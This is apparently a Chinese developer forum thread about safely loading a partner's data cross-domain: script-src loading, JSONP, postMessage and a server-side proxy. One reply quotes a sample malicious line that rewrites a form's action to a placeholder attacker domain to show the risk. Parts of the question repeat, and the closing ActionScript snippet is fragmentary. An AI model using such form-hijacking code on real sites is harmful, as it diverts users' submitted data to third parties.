我们跟别人的网站合作,我们想把页面设计好以后,把页面的主要的HTMl代码放到我们的
服务器上面,有对方提供数据,我们解析之后然后进行页面填充。
我们想到的是使用JS加载对方的XML或者JS、JSON,现在的XML接口对方没有,JSON的倒是有一个,但是我们认为可能存在安全隐患,所以不想使用
JSON的接口。除了这两种方法还有其他方法吗?
服务器上面,有对方提供数据,我们解析之后然后进行页面填充。
我们想到的是使用JS加载对方的XML或者JS、JSON,现在的XML接口对方没有,JSON的倒是有一个,但是我们认为可能存在安全隐患,所以不想使用
JSON的接口。除了这两种方法还有其他方法吗?
用message事件来做.p.s. ie6不能用这个事件
微软有一套框架 Microsoft Information Security,可以考虑试试。web service是跨平台、跨语言的解决方案之一
message事件是什么语言里面的???
对方服务端返回的字符串。
我们最担心的是如果他返回的代码里面含有alert或者open之类的的语句。
那用户会把这个责任怪罪到我们的头上
对方服务端返回的字符串。肯定是可以取得对方服务端返回的字符串的<script src="http://www.abc.com/1.aspx?a=1" />直接访问http://www.abc.com/1.aspx?a=1这个地址就可以查看javascript输出了。
当你使用src加载时,这个返回的javascript就如同在当前页面自己写的脚本一样了。你的当心当然是很有道理的,如果脚本中返回这样的输出document.forms[0].action='http://黑你不商量.com/get.aspx'这就麻烦了。
jsonp返回的也是JS代码吧??
直接使用对方的js?这个实现方案,真是闻所未闻。太不合理了。合作方提供数据,就应该提供的仅仅是数据。咋还弄个js?难道合作方知道你页面元素的组织结构?他来给你呈现?数据组织结构或者传输格式双方协商好就行,安不安全并不在这数据本身,而在双方交互方式中。直接在客户端去请求对方数据,再填充页面。实为不妥,中间你没办法过滤不必要的信息,比如你说的alert。更好的做法是用服务器代理
var header2:URLRequestHeader = new URLRequestHeader("Accept" ,"application/json"); var request:URLRequest = new URLRequest(src);
request.method = URLRequestMethod.GET;
request.requestHeaders = [header1 ,header2];
var loader:URLLoader = new URLLoader();
loader.dataFormat = URLLoaderDataFormat.TEXT;
loader.addEventListener(Event.COMPLETE,
function():void{
callBack(loader.data);
});
loader.load(request);